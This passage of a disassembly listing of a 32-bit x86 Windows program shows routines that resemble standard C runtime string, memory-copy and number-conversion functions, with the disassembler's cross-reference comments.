ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB2A8, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 268018Eh test eax, eax jnz short loc_41BDF2 nop call near ptr 26807C8h jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2F4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2F4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A2C0 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: 